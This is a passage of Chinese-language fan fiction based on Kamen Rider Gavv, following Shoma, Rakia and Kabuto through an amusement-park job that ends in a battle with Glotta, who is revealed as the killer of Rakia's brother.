《[假面骑士加布-生真中心]GAVV再编》
1. 万事屋·欢乐游行!
“呀吼~拉齐亚——”
元气的招呼声伴随着老旧的吱呀声传入拉齐亚的耳朵,大门被推开,阳光破开阴暗与尘土,给这间潮湿沉闷的地下室带来了一丝生机。
不用回头也知道是谁来了。实验记录本被重新塞回书架,拉齐亚轻拍身上的尘土缓缓站起身,好迎接这位稚气活跃的友人。
自从酸贺失踪之后,拉齐亚就住进了这间地下室,血腥的手术台被清理干净,不知名的实验器材也一并被收起,而藏匿着酸贺的隐秘过去与病态执着的储藏间也彻底被锁死,早晚会消失进时间里。
要打扫这里不是一件小事,光凭拉齐亚一个人,哪怕是身为拥有触手能力的水母砂糖人也难以迅速完成,最后还是欢乐游行那位热情过头的社长带着她手底下唯一的正式员工完成了复杂庞大的活计,而那位时常与他们两个混迹在一起的瓦伦却不见踪影。
“这里毕竟发生了很多事,如果没有必要的话,在一切被藏匿起来之前还是不要让绊斗来了。”
井上生真说这话的时候正卖力擦拭着手术台上的陈旧血迹。黑褐色的污渍一层一层叠得相当厚,十几年的光阴不知有多少条人命消逝于此,而瓦伦是唯一活下来的那个。
拉齐亚最终还是决定驻扎于此。
给出的理由相当充分。尽管这里的核心资料很有可能已经被尼耶鲁布处理干净,但遗留下来的东西中总归还有一些蛛丝马迹,不管是他研究了十几年的实验内容,亦或是与尼耶鲁布的秘密联系方式,对于现在的他们来说都是相当重要的信息。
没有人提出异议,哪怕是对邀请自己去欢乐游行同住这件事极其热情的井上生真也无话可说。
不过拉齐亚倒是相当心虚,尤其是面对生真的时候——其实他只是不想和这孩子一起挤在那间吵闹的万事屋罢了。
作为一只来自砂糖人世界的水母砂糖人,他应该待在黑暗寂静的深海,而不是色彩丰富过头,连空气都甜到发腻的人类建筑中。
如今的地下室虽然仍带着陈旧腐烂的味道,但好在有了活人的生气,倒是没那么糟糕,更何况井上生真时常往这边跑,带着他独有的灿烂与生机,就像现在这样。
从头到脚色彩饱和度都相当高的井上生真一蹦一跳跨下台阶,就像一只误入黑暗森林的小精灵。
“拉齐亚,看我把谁带来了!”
一个人影从生真背后探出来,棕色皮衣,花衬衫,牛仔裤,果然是瓦伦。拉齐亚皱了皱眉头,疑惑望向生真。不是说不让他来的吗?
“绊斗说他有话想对你说!”
生真神秘兮兮地冲拉齐亚眨了眨眼,伸手拽住瓦伦,稍微使了点力,半拉半拽地将他推向对面。
“来嘛,快过来——”
对面的人一副不太情愿的样子,撇了撇嘴,从怀中掏出一个包装精致的小礼盒,里面躺着几颗看起来品质还不错的石头。
“这段时间谢谢你帮忙了。”连语气都相当别扭。
假面骑士瓦伦,井上生真来到人类世界后最早接触的几个人类之一,好像是叫......辛木田绊斗。
拉齐亚对他并不算熟悉,与他仅有的几次接触气氛也不算友善,除了过于弱小外实在没留下什么印象。要说最深刻的记忆,也就是当生真“斯托马克家末子”的身份暴露时,瓦伦当着自己的面对生真挥下的实实在在的一拳,以及这孩子百口莫辩的自暴自弃。
这群人类,明明力量弱小到需要靠人搭救,却敢如此嚣张。
在此之后,不知道生真与瓦伦之间又发生了什么,瓦伦失踪了,苦涩加布与斯托马克家的眷属一个接一个地出现,丝毫不给人喘息的时间,而生真因此陷入了巨大的危险之中。明明自己也虚弱到需要靠人施救,却依然时刻牵挂着瓦伦的现状,曾经光彩的眼中尽是化不开的愁思。
对于这样的人类,拉齐亚不会给予好脸色。
他接过瓦伦递来的礼盒,随意扫了两眼便丢在桌子上,转头拉过生真的胳膊将人拽到一扇墙壁面前。
“这间屋子我仔细搜过了,只有这里的地面有类似长期开关门的磨损,大概率是尼耶鲁布造的两界通道,你试试看还能不能打开。”
“喂!”绊斗撸起袖子,不可置信地扯住生真,“别人特意过来道谢,他居然是这种态度!”
“对不起嘛绊斗,拉齐亚就是这样的,不要放在心上啦!”生真双手合十,略带歉意地横插进两人之间,糖果色的身躯堪堪遮住绊斗的视线,也挡住了拉齐亚那副漫不经心的模样。
“以后就是并肩作战的伙伴了,大家要和平相处才行。”他拽过拉齐亚小声埋怨了一句,空气中的火药味在弥漫开来之前便销声匿迹。
虽然生真完全不明白这两个人为什么总是针锋相对,但这段时间他已经对类似的事情相当熟练,说到底只是两个脾气不太对付的家伙罢了。
连通人类世界与砂糖人世界的两界通道需要斯托马克家族的血脉才能打开,但显然这里的通道在酸贺被打败之后就被尼耶鲁布废弃,即使是生真也对此束手无策,尝试过几次之后,三个假面骑士横七竖八地倒在桌椅边齐齐叹气。
虽然本就没报什么希望,但调查了这么久居然一点收获都没有还是让三个人相当沮丧。苦涩加布的核心数据全部被拷走,留下的实验记录全是些无关紧要的东西,就连通道也无法使用,显然是又回到之前被动等待的状态了。
“你之前在这里待过那么长时间,真的什么都没发现吗?”
生真垂头丧气地趴在桌子上,指尖无意识地一遍遍划过桌沿,听见拉齐亚的问话,他一个机灵,当场坐直身体,朝绊斗望去。
绊斗叹了口气,无奈道:“酸贺隐藏得很好,如果不是后面自以为胜券在握,恐怕连冒牌生真都不会被我发现。”
“你也别好意思说我。”察觉到拉齐亚的不屑,绊斗呛声道:“储藏间的培养皿是你摧毁的,那个时候尼耶鲁布还没来吧?就这么放任到手的资料被取走,也不知道谁的问题更大一些。”
“哼。明明知道酸贺有问题,却还是不做任何提醒放任生真来这里,如果不是你不够谨慎,生真的血液样本又怎么会被酸贺拿到?”
“哈?既然你一开始就知道酸贺和尼耶鲁布有所勾结,那为什么不早做提醒?”
“没劲。那时候生真什么状态?你什么状态?我凭什么信任你们?”
“你!你果然觉得我是笨蛋吧!”
“别吵了!”
眼见着两个人又要吵起来,生真猛地站起身,又在两人齐刷刷的注目礼中绞着衣角无地自容,“这好像和绊斗没关系吧,明明是我的错......对不起!是我太不小心了!根本没对酸贺设防!”
两位假面骑士对视一眼,互相从对方的表情中感受到了同样的认知——混血砂糖人对人类爆表的好感度促使他从未以恶意揣测过人类,基于这个前提,在酸贺的事情上他们两个压根没指望过生真。
但忘记提醒他小心酸贺确实是两个人的失误。从闯入斯托马克公司,到生真身份暴露,再到苦涩加布出现,绊斗深陷心魔,最近发生的事情一件接着一件,很难做到万无一失,实属无奈。
针锋相对的两人忽然感同身受,长长叹了口气,默契地转身离开。
“欸?你们......”
“锵锵!这次的委托地点就是这里啦~”
虽说斯托马克的线索断了个彻底,但日常的工作委托还要继续。欢乐游行的车停在了随风晃动的彩色气球下,车门打开,井上生真兴奋地从车上跳下来。
“这里就是游乐园吗?我还是第一次见欸!”
生真对着门口的巨型气球两眼放光,刚准备放开双腿扑过去,又立刻被什么气味吸引,朝着风中耸了耸鼻子。
“甜甜的味道!是棉花糖吗?!可乐饼、铜锣烧、冰淇淋,还有焦糖的香味!”
“你属狗的吗?鼻子这么灵?”
鲜红色的卫衣帽子被一把拽住,脱缰的混血砂糖人扑腾着双腿倒在辛木田绊斗身上,黑棕色的小卷毛蹭过鼻尖,淡淡的葡萄软糖的甜香便沿着发丝钻进了心里。
甘根幸果顺势揉了揉生真毛茸茸的头顶,心情颇好。
“委托人说了,等工作结束可以让我们几个免费在游乐园里面玩一天!前段时间发生的事情太多,大家都有些身心俱疲,不如趁此机会放松一下!况且绊迪和拉齐昂还没正式相处过吧——”
欢乐游行的美女社长一手搂住人类记者,一手拽过自家的砂糖人员工,力气之大,气势之强竟令两位假面骑士动弹不得。“所以......今天就当是绊迪和拉齐昂正式入队的庆功会吧!美味生也早就想这么做了吧!”
“哈?你居然为了这种事让我百忙之中抽空一天?!”
“好耶!谢谢幸果小姐!”生真挣脱开绊斗的钳制,与幸果抱了个满怀,两人齐齐望向拉齐亚。
他果然不太能应付这样热烈的视线。
“没劲。”拉齐亚逃避似的撇过脸,双手插进兜里。
在幸果半热情半强硬的态度和生真晶亮的狗狗眼中,一人类一砂糖人最终还是败下阵来。
游乐园的周年纪念花车游行需要临时制作大量庞大沉重的道具,虽然对于两位力大无穷的砂糖人来说力气活属实小菜一碟,但也仅限于此了。
“啊——美味生!这里不是这样的!还有拉齐昂认真一点啊!”
“欸?!抱歉幸果小姐!我马上就改!”
“你到底识不识字啊混蛋!”
“我凭什么要认识字啊!明明是你指挥太差劲了!”
“不行啊各位!这里一定要嵌合上去,差一点点都不可以——”花车游行的总导演指着一个细小到几乎看不见的缝隙,在四个人逐渐崩溃的面孔中缓缓咧开嘴角。
经历了手忙脚乱的几个小时之后,年轻人们齐齐瘫倒在了道具堆里。
“到底是谁破坏了原本的道具啊——!”幸果发出一声愤愤的哀嚎。
“还得是欢乐游行可靠!”总导演细细检查完毕,激动地握住幸果的双手声泪俱下,“这次好不容易才争取来的机会,要不是有你们帮忙就全完蛋了!”
“不用谢,这是我们万事屋应该做的!”幸果一扫萎靡,一骨碌爬起来,扬起灿烂的笑容,“柴崎先生应该很喜欢花车吧,看您对待它们相当认真呢!”
“......当然。”柴崎导演愣了一下,随即掩饰似的腼腆一笑,伸手抚上色彩斑斓的巨型花车,“它们可是我在这里最重要的东西......”
粗糙的手指划过柔软的羽毛与彩带,视线却钉在了角落中被恶意损毁,堆放在一起的残破道具上,幸果跟随视线望过去,破坏的范围相当大,几乎没剩下什么有用的东西,附近仍残留着焦褐色的灰烬,大概是被火焰烧毁的。
“那您知道犯人是谁了吗?”
提到这个,柴崎导演的面色顿时扭曲了一下,纠结半天,朝幸果招呼着靠近,小声道:“说出来你们可能不信,我大概率是碰上都市传说了。”
“你们知道最近网络上有流传吃人怪物的都市传说吧,就是那个肚子上长着嘴的怪物,听说碰见这些怪物的人好多都失踪了!”
生真一个机灵从地上爬起来,三人对视了一眼,朝柴崎导演靠近。
“昨天晚上我也碰见了,就是这个存放道具的仓库!一个举着紫色镰刀的长头发女人,肚子上长着一张血色口器,和都市传说里描述的一模一样!”导演对着自己的肚子比划了一下,露出既惊恐又兴奋的神色,“我亲眼看见她把什么东西插进肚子上的嘴里,然后变成了一个怪物,头顶尖尖的,身周盘着几根带着吸盘的触手。那个怪物拖着镰刀一步步走向外面,刀尖蹭过道具和地面燃起了一团黑紫色火焰,就是这团火烧坏了这些道具!”
三个人瞬间神色凝重起来。形似海怪,举着镰刀的女人,能释放黑紫色的火焰,如果没猜错的话这个人大概率是格罗塔·斯托马克,生真的二姐姐。
虽然格罗塔来人类世界的次数不多,但在座的几个人都有和她交手的经历。先不论绊斗第一次遇见格罗塔时,她甚至不需要使用砂糖人的技能,光是靠人类的姿态徒手就打得绊斗毫无还手之力,就连后来生真与拉齐亚以最强杀招联手对敌时也只是击裂了她的武器。
面对这种水平的敌人,如非必要谁也不想过早遇上。
不过好在格罗塔不太喜欢来人类世界,也对抓人不感兴趣,能够出现在这里,必然是有一些缘由。
“所以她有做什么吗?抓人?或者找人之类的?她没发现你吗?后面又去了哪里?”
柴崎导演被绊斗连珠炮的提问弄蒙了圈,连连后退几步才摆手道:“后面我也不清楚啊,我看见之后就赶紧逃走了,之后发生了什么我都没看见!”
难道和之前一样,只是来这边侦查吗?四个人对视了一眼,皆露出疑惑的神色。
委托完成,四个人在游乐园中闲逛,生真对这些事物充满好奇,拉着幸果东跑西跑根本停不下来。
等逛完了大半圈,逛得幸果瘫坐在长椅上完全不想动弹,生真一手捏着咖啡和苹果糖,一手握着冰淇淋回到了长椅边。
咖啡被塞进了绊斗的手中,生真又将冰淇淋凑到拉齐亚眼前,“拉齐亚,冰淇淋要尝尝吗?很好吃的!”
“你们不觉得导演的话有什么问题吗?”拒绝的话还未出口,拉齐亚就听到绊斗的提问。
“生真,格罗塔是什么样的人,你了解吗?”
“嗯......我在斯托马克的时候其实很少见到兰戈哥哥和格罗塔姐姐,他们一
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般都忙着家族事业,也就是生产黑暗零食......”生真收回手中的冰淇淋,声音逐渐低下来,“但是相比起兰戈哥哥,格罗塔姐姐会更在乎家人一些,只是由于姐姐太凶,大家平时都很害怕她......”
“姐姐是除了兰戈哥哥以外最强大的存在,毕竟砂糖人世界崇尚武力,如果能力不够的话很快就会被踢下来,尤其像我这样的半砂糖人是不会被允许活下去的,这也是人类被砂糖人蔑视,甚至被当成原材料的一个重要原因......大概吧。”
他不太确定地看向拉齐亚,得到对方的肯定后继续道:“虽然不是绝对的因素,但在这种地方,高层的砂糖人会表现得更明显,所以除了需要在这边频繁出入的吉普和西塔,其他人平时也不屑于往人类世界跑。”
“绊斗是在疑惑姐姐这次现身的原因吗?”
“不,我在意的点不是这个。”绊斗皱了下眉,总觉得有些地方不太对劲。
“即使格罗塔只负责工厂的运作,面对近在眼前的原材料也不太可能会就此放过,恐怕很难会有人类在亲眼目睹砂糖人真身后还能全身而退。”拉齐亚上前一步替绊斗指出了不合常理的地方。
“没错。”他点点头,“况且除了和你们战斗的那次,格罗塔都是以人类的姿态出现的吧,在无人的深夜主动变回砂糖人样貌,怎么想都觉得很可疑。”
“或许是导演目睹了全程过于害怕,已经不再适合作为原料了?而且美味生的姐姐也不一定看见他了吧。”
“或许吧。”绊斗向着天空伸了伸懒腰,连日来的麻烦事与停滞的调查进度让记者先生心生焦躁,“也许是最近太敏感了,总是想一丝一毫的线索都不能放过,或许真的需要放松一下了。”
他转头看了眼仍在思索的生真,未曾被舔舐的冰淇淋在和煦的春风里已有融化的迹象,挂满巧克力浆液的奶油在金黄的脆皮上摇摇欲坠,想到上次未曾吃上的巧克力冰沙,绊斗突然想尝一尝生真手上的那个。
这样想着,他伸手拽住生真的手腕,在拉齐亚震惊的眼神里含住冒了尖儿的冰淇淋,冰凉的温度温和了巧克力发腻的甜味,香草混着奶味随即冲入了口腔。
在不算炎热的天气吃冰淇淋还是有点刺激,但冰凉绵软的甜蜜确实冲淡了内心的焦躁。
生真吓了一跳,冰淇淋差点从手上脱落,绊斗顺势夺走整个冰淇淋,笑着对生真眨眨眼。
“谢了。”
“没——劲——”
拉齐亚看着这一幕,对绊斗毫不掩饰眼中的不屑,口头禅的音调被拖得老长。
“怎么?你们砂糖人不是不吃人类的食物吗?”冰淇淋在拉齐亚的眼前晃了两圈,又回到绊斗的口中,“既然如此就别惦记了。”
眼见拉齐亚的气压低了下来,生真熟练地插入两个人中间,“拉齐亚想吃的话可以再去买哦,仓库附近就有一家冰淇淋店,里面有冰淇淋芭菲欸!我还没有试过呢,不知道是什么味道,我们一起去吧!”
“芭菲?”
“嗯,是一种甜品!我很早之前就听委托人说起过,据说是以奶油、酸奶或者冰淇淋为底,搭配上坚果、水果以及各种能想到的材料,再淋上风味独特的果酱,在杯子中拼装成各种有趣的造型!”
生真比划着双手,说得自己两眼放光,恨不得现在就想尝上一口。
“而且那边有卖布丁芭菲,拉齐亚肯定能接受的!想尝一下吗?”
不......
人类的食物还是算了......
他下意识想拒绝,但看着生真期待的笑容,话到了嘴边却难以启齿。
“尝试全新的食物也是融入人类世界很重要的一步哦。”见拉齐亚犹豫,幸果举着红彤彤的苹果糖笑着点了一句。
苹果糖被凑到鼻尖,外头裹着的焦糖在阳光下闪着金光,隐隐还能闻到灼热的糖浆味道。
“拉齐亚?试试吧拉齐亚——”
拉齐亚看向生真拉着自己衣袖的双手,一声声“拉齐亚”绕在耳边,对方亮晶晶的双眼洒满星光,如果科梅尔还在的话,是不是也会像生真一样朝自己露出这样的目光?
哥哥,布丁芭菲,想尝一下吗?
如果是科梅尔的话,自己一定会毫不犹豫地回答。
好啊。
“那你们在这里等我一下!拉齐亚,我去去就回!”
拉齐亚回神,答应的话语早已脱口而出,生真在几步开外朝自己挥舞双臂,一如当年科梅尔每日在家门口迎接自己的归来。
杀死科梅尔的凶手还未找到,敌人的力量也尚未可知,本是抱着孤注一掷的信念加入斯托马克,即使被放逐到人类世界也全然不在乎。只是自从认识井上生真,来到欢乐游行,像现在这样的美梦就时常出现在自己的眼前,明明不属于这里,却也好像拥有了牵绊之物。
人类的食物,或许真的可以试一下。
最有活力的少年离开,三个人百无聊赖地坐在长椅上放空,游人的欢笑从附近吹来,春风携着鸟鸣与花香,将快乐与幸福送往遥远的天际。
不管是因为忙碌的日常工作,还是作为假面骑士的巨大压力,这几个人都很少能像现在这样什么都不做,什么都不想,把自己融进世界里。
“如果能永远这么和平就好了——”
“砰!”
巨大的爆炸声从远处传来,惊起一片飞鸟,三个人瞬间从长椅上弹起,警惕寻找声音的来源。
“你是乌鸦嘴吗?!说什么来什么!”
危险的声音不再出现,入眼所见还算正常,游人惊恐的奔逃声却在下一刻从某个地方传了出来。
“不好!在仓库方向!”话音未落,绊斗瞬间掏出冰沙饱藏就冲了出去。
“美味生还在那里!”
“等等!”
拉齐亚一把拦住幸果,轻声安抚道:“别担心,别忘了他才是我们几个中最强大的,你先回去等我们消息。”
召来布丁饱藏,拉齐亚紧随其后赶往现场。虽然很放心生真的实力,但万一遇上的是他的哥哥姐姐,即使能够险险逃脱也必然伤得不轻,更何况刚刚才听说格罗塔在附近现身,很难不让人担心。
逆着人流靠近仓库,远远就看见地上倒着一杯彩色的布丁芭菲,白色的冰淇淋融化为黏糊糊的液体,东一摊西一摊被踩得四处飞溅,金黄的焦糖布丁粘着灰扑扑的尘土滚落一旁,拉齐亚吞了口唾沫,四处寻找本该出现的小东西的身影。
没有吃上一口的芭菲,也没有新生的芭菲饱藏,生真甚至不会让心爱的食物被随意丢弃在地上,拉齐亚的心脏砰砰直跳,一股难以言喻的恐惧冲上心头。
“拉齐亚!这边!”
绊斗的声音唤回理智,拉齐亚定了定心神,一起向着人迹罕至的仓库后门冲去。
2. 噩梦重现·残酷的真相
后方的地面与墙壁上是火焰灼烧后的焦痕,越是靠近空气中的焦糊味与血腥味也愈发浓烈,还混杂着生真独有的葡萄软糖装甲融化后的甜腻味道。
“轰——”
又一声巨响,雪白的身躯疾掠而过,轰然撞翻半边砖墙,奶油长枪在地上喇出焦黑的裂痕,才勉强维持住身形。
眼见着红腹口落入颓势,柴崎导演当即扑通一声跪倒在地,疯狂朝面前的女人磕头。
“不!!!不要!!!求你了格罗塔大人!!!不要杀我!!!”
“哼!叛徒有什么资格跟我说话!”
跳动着黑紫色焰流的镰刀猛地朝柴崎导演挥下,生真撑起身体再次冲上前,一脚踹开对方,迎面接上格罗塔来势汹汹的攻击。
“呃——”
恐怖的力道倾泻而下,刀刃嵌进雪白的肩甲,火焰顺着伤口灼烧血肉,蛋糕王装甲终于不堪重负,应声而散,滚烫的血液沿着鲜红的外套流淌下来,瞬间在地上洇出一片湿润。
他缓了口气,厉声道:“柴崎先生!快跑!”
然而对方似乎已经吓懵了,瘫坐在原地一动不动。
生真啧了一声,闭了闭眼强迫自己冷静下来。
他确实没想到只是去买个冰淇淋芭菲就能撞到格罗塔猎杀临时工。他刚捧着芭菲从店里出来,就看见柴崎先生跌跌撞撞地奔向自己,张口就叫出了“红腹口”——一个只有砂糖人才会知道的称呼。
他这才反应过来,绊斗与拉齐亚的怀疑真的没错,柴崎先生不仅仅是斯托马克公司的临时工,甚至那封寄给幸果小姐的委托都是刻意为之,在格罗塔第一次找到他的那晚,这家伙就已经决定向“砂糖人猎手”寻求帮助了。
而他被猎杀的理由,竟然是......
“红腹口,本来我还想留着你陪我玩玩,不过,如果你还不让开,姐姐就把你们两个一起杀掉哦~”
“休想!”
生真乌黑的瞳孔泛起紫光,雪糕饱藏破空而来,将镰刀狠狠撞歪到一边。
蛋糕王带来的巨大消耗让生真几乎感受不到伤口的疼痛,他颤抖着双手紧紧握住饱藏,这是最后的底牌,但即便如此也仅能支撑片刻,只能寄希望于刚才的爆炸能引来伙伴,至少,柴崎先生必须被安全带走!
格罗塔挑了挑眉,笑得明艳而灿烂。
她将人皮小偶从腹口中取出,咸腥味的潮气一瞬间四散开来,深紫色的外皮,拉扯到耳根的红唇,盘旋于四周的滑腻触手,上面覆盖着一个又一个吸盘状的凸起。撕开人类美艳的皮囊,这就是海怪砂糖人的真实样貌。
双手握成实拳,火焰于拳周燃起,滚烫的热浪混着海水的咸腥扑面而来。
[雪糕]
“生真!”
雪糕饱藏尚未被吞入腹口,凛冽的寒风便随着呼唤自远处而来。
厚重的冰川与熊熊烈焰猛然碰撞,毫不意外地四散崩裂,四周的温度一下变得杂乱不堪,高温与寒风混乱纠缠,在附近形成小范围的旋风,生真当即回身护住僵住的导演,剧烈的狂风将两人掀翻在地,一连翻滚出好几圈。
闪着金光的箭矢随即劈开狂风直冲格罗塔的面门,焰流相接,箭矢尚未近身便已然消失。
格罗塔屹立在狂风之中,朝拉齐亚望了过来。
气流滚动的嗡嗡声再次响起,周遭空气坍缩汇聚成数支金色箭影,拉齐亚的第二次进攻已然准备完成,一旦激发将会引起剧烈的爆炸。
身着巧克力冰沙装甲的辛木田绊斗趁机冲向生真,将瘫倒在地的两人迅速带离格罗塔身侧。
“绊斗,带柴崎先生离开,快点!”
绊斗茫然了一瞬,随即便闻到了混杂在浓烈甜腻气味中的血腥气。生真揪着绊斗的衣领,手掌上的血液还在滴滴答答地往下落,他这才发现那件鲜红色的外套上被血液浸透了一大半,肩膀上的刀口深可见骨,刺得绊斗双眼通红。
“什么情况!”
剧烈的爆炸声再次响起,震得两人大脑一阵嗡鸣。烟雾弥漫开来,格罗塔的身影消失不见,但生真知道这种程度的攻击几乎不会对她起效。
他回神拉住绊斗的衣袖快速说道:“柴崎先生是砂糖人,他知道拉齐亚已故弟弟的事情,不能让他被格罗塔杀掉!”
他顿了顿,后面的话语逐渐变得生涩,“格罗塔才是真正的砂糖人猎手,是拉齐亚一直寻找的真凶!”
生真贴着绊斗剧烈喘息,他不明白如果是这样的结果,后面又该如何向拉齐亚明说,告诉他杀死科梅尔的真凶是一个你根本无法战胜的敌人,这也太残忍了。
“暂时别让拉齐亚知道......”
突如其来的巨大信息量让绊斗有些发愣,他知道拉齐亚有个死去的弟弟,也知道当初拉齐亚正是为了寻找凶手才潜入斯托马克公司伪装成临时工,从而被放逐到人类世界。只是具体的细节拉齐亚从未主动提起,他只能从生真的只言片语中拼凑个大概。
如果凶手只是被黑暗零食诱惑失去自我的普通临时工还好,但如果是斯托马克的高层......绊斗抬头看向远处正在寻找格罗塔的拉齐亚。
依照他的性子,就算前方是万丈悬崖,他也会毫不犹豫地跳下去。
绊斗抿紧嘴唇,取出冰沙饱藏更换为甜甜圈形态,抬起瓦伦破坏枪狠狠朝柴崎导演的后脑来了一下,砂糖人晕厥过去,又被释放的甜甜圈捆得结结实实。
他扛起砂糖人,郑重道:“我很快回来,等我。”
瓦伦的身影消失,生真回头望向战场,浓重的烟雾尚未散去,凶猛的焰流却突然朝着拉齐亚席卷而来。
感受到伤口正在缓慢愈合,生真无比庆幸自己至少继承了砂糖人强大的自愈能力。雪糕饱藏跳入掌心,将饱藏纳入腹口,沉重冰凉的装甲快速覆盖全身,力量重新涌入四肢,让焦躁的头脑逐渐冷静下来,连带着伤口的疼痛也变得不够清晰。
转动饱藏召唤出冰雪,空灵的声音从腹口传出,夹杂着冰凌的狂风吹散浓雾,下一秒,咬咬剑携着冰霜被猛地掷出,直插入格罗塔与拉齐亚中间,低温快速冻住周遭的空气,火焰被截断,制止了格罗塔连击的势头。
即使无法即刻闪入战场,但至少还能把咬咬剑当投掷武器使用。
“真是我的好弟弟——”
格罗塔轻哼一声,将镰刀随手插在地上,刀锋跳动着烈火,一副愈演愈烈的势头。
“你把那个叛徒藏到哪里去了?告诉我,我就放过你们两个哦~”
“叛徒?”拉齐亚一下呆住,什么叛徒?柴崎导演不是人类吗?
格罗塔在追杀临时工叛徒?
那科梅尔......
他盯着前方闪着冷光的巨大镰刀,细枝末节被大脑不受控制地串联起来,却不敢深入思考。
格罗塔发出玩味的笑意,正欲开口,生真便已握回咬咬剑如离弦之箭般疾驰而来,格罗塔当即回击,兵戎相接,竟震得她虎口发麻。
“闭嘴!”
低声的警告在耳边响起,握着剑柄的手却在止不住发颤,格罗塔瞪大双眼,直视那双毫无威慑力的眼睛,浓郁的血气让她变得更加兴奋。
“红腹口——你的胆子真是越来越大了!”
腹口突然传来一阵灼烧的剧痛,生真顿时眼前一黑,软倒下来。
“生真!”
格罗塔收回拳头,抬眼看向前方,布拉姆颤抖着双手拉开弓弦,却迟迟不敢发动攻击。
“海月9......叫拉齐亚·阿玛鲁加,是吗?”长靴狠狠撵在加布的胸口,格罗塔笑道,“我记得你,上次和我亲爱的弟弟一起在工厂捣乱的家伙,科梅尔·阿玛鲁加的亲哥哥——”
科梅尔的名字被提起,脚下的加布再次挣扎起来,格罗塔抬起腿猛地朝腹口踹去,雪糕装甲倏然崩解,人类鲜艳的身躯滑行出十几米,在地上拖出一道刺眼的血痕。
蓄力的招式被迫中断,布拉姆急忙冲到生真身边,眼前的人类惨白着脸,胸口急促地上下起伏,脆弱的口器硬接下全力一击,想来也不会好到哪里去。
“拉齐亚......我们回去再说好吗......”
拉齐亚不断深呼吸着,企图让自己冷静,但是格罗塔的话语如同来自地狱的恶魔低语,控制不住地钻入脑海。
“上次你问我认不认识科梅尔,呵呵,我处理了这么多人,怎么可能记得住所有人的名字?”
预感到格罗塔即将说出口的真相,强烈的恐惧夹着期待流窜进四肢百骸,让拉齐亚彻底僵在原地。
不要再说了!
“不过我后来翻了一下临时工名单,他还真是被我处理掉的叛徒。你们俩不愧是亲兄弟,都有一颗当叛徒的心~”
格罗塔的话语宛如一记重锤,敲得拉齐亚呲目欲裂。
“是你?是你杀了科梅尔?!是你杀了科梅尔?!”
科梅尔倒在自己怀里的样子他绝不可能忘记。
横贯整个后背的巨大刀伤深可见骨,鲜血沿着撕裂的外衣翻涌而出,无论怎么捂都捂不住。滑腻温热的手感与现在掌心下的身躯如出一辙,浓重的血腥味让他几欲作呕。
科梅尔一声声叫着“哥哥”,一遍遍数着自己的罪行。他说自己犯下了天大的错误,流着泪问自己该怎么办,一遍又一遍,直至声音变轻,再也开不了口。
科梅尔是被黑暗零食毒害的孩子,但他也凭借自己的意志摆脱了它的控制,他本该能好好活下去的......
就因为成为了斯托马克公司的“叛徒”,被砂糖人猎手斩草除根!
拉齐亚捂住面孔,此时此刻他居然觉得有些好笑。科梅尔正是为了反抗命令才命丧于此,而自己却为了给他报仇差点成为真凶的爪牙......当初如果不是生真及时出现,他可能还在对着真凶卑躬屈膝,犯着科梅尔口中的罪行。
科梅尔一直是好孩子,有罪的明明是自己。
[布拉姆驱动]
驱动器的机械音冰冷而无情,黄色的布丁骑士缓慢站起,布丁装甲脱落,人类的外形尚未完全显现又迅速覆盖上一层粉色。
[布拉
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姆樱桃果冻形态]
“冷静点......拉齐亚......”声音传达不出去,生真努力伸出手指,对方黑色的衣角却如幻影般消失,一如初见时触摸不到的背影。
大片水泥地面鼓动,如同翻涌的浪潮,格罗塔警惕后退了半步,十几条晶蓝色的水母触手瞬间冲破地面从四面八方袭来。
格罗塔抬起镰刀反手向下一冲,黑紫色的火焰顺着地面向外迅猛扩散,瞬间攀上数条触手,空气中弥散出血肉灼烧的焦糊味。
又有几十根触手从格罗塔身前拔地而起,如同张开的一张大网将砂糖人层层环绕,在刀面触及触手的瞬间,直接无视滚烫的火焰层层攀升,沿着刀柄一路攻向持握之人。
生真看得心惊,水母触手是拉齐亚砂糖人本体的一部分,就和自己的骑士装甲一样是由自身的血肉组成,怎么经得起这样的消耗!
然而拉齐亚仿佛没有痛觉一般快速按下驱动器的扳手,樱桃果冻的技能蓄力,人工饱藏的藤蔓从腹口中探入,破开血肉急速缠上拉齐亚的心脏。
[准备][透明果冻]
带着尖刺的藤蔓刺入心脏,如同蟒蛇一般将猎物旋转着绞紧,心脏停止搏动,连带着呼吸也一并被抑制,假面骑士布拉姆的身影转瞬消失。
水母触手分秒之间便被尽数烧毁,但这争取来的片刻就是攻击的最佳时机!虚化的布拉姆趁机闪到格罗塔的身后,显出实体,弓箭化为电锯凶猛挥下,然而眼前红光一闪,落下的攻击竟被吸盘尽数吸收!
“你是在给我挠痒痒吗?!”
镰刀破空袭来,布拉姆紧急按下扳手,身影再度消失。
空气凶猛地灌入口鼻,拉齐亚跌倒在另一侧,驱动器自动解除虚化状态,让他被迫显现在对手面前。
他怒视着格罗塔,不由自主地捂住胸口,心脏再次重新跳动。
他曾经很畏惧这种濒死的感觉,在尚未达成目的之前,自己的性命还有留存的价值,樱桃果冻的使用次数也屈指可数。但如今一切真相都将迎来最终的结局,这样的副作用好像也显得没那么令人恐惧。
如果攻击会被格罗塔全部吸收,那就再来一次,吸盘的储能总有上限,三次不行就五次,十次,一百次,不论付出什么样的代价,他都可以承受!
本来,他也已经没什么可以失去的了。
生真远远看着战场,模糊的视线里拉齐亚一遍遍消失,又一遍遍突显,明明格罗塔的攻击并未落在他的身上,但面色却愈发苍白。他记得拉齐亚似乎从未在自己面前使用过这只尼耶鲁布制作的人工饱藏,也从未提起过它的真正用法。
但显然,它的能力绝对不对劲!
“拉齐亚!”
生真努力撑起身体,但蛋糕王的体力消耗与浑身的伤口互相叠加,手脚已近乎失去了知觉,连喘息都是极大的痛苦。
再一次现身,布拉姆终于支撑不住跪倒在地。格罗塔把玩着镰刀步步近身,吸盘上红光叠加,层层闪烁,侧印在她的脸庞,将那张巨大的红唇照得鲜血欲滴。
“玩够了吗,海月9?”
她咧开嘴角,红光从全身的皮肤上游走,逐渐汇聚于她的拳头。
她一把掐住拉齐亚的脖颈,将他提了起来,“现在,还给你!”
“不要!”
生真往前踉跄了两步又扑倒在地,指尖在水泥地上抓出几道深深的血痕。
他眼睁睁看着格罗塔挥出拳头,刺眼的红光一瞬间便吞没了熟悉的身影,将整片后院炸平了大半。
漆黑的人影从烟尘中抛出,狠狠撞上大块碎石。
拉齐亚捂住胸口不住咳嗽,然而气流划过胸腔却带不来任何缓解,脑中尖锐的嗡鸣声让他几乎感受不到外界的存在,连带着声音,气味,视觉,疼痛统统都消失不见。
他好像掉进了无光的深海,于黑暗中一路下沉。
拉齐亚。
上方传来了模糊的声音。
拉齐亚!
脸上有温热的液体滑落。
“拉齐亚......柴崎先生知道科梅尔的事......你要活下去......”
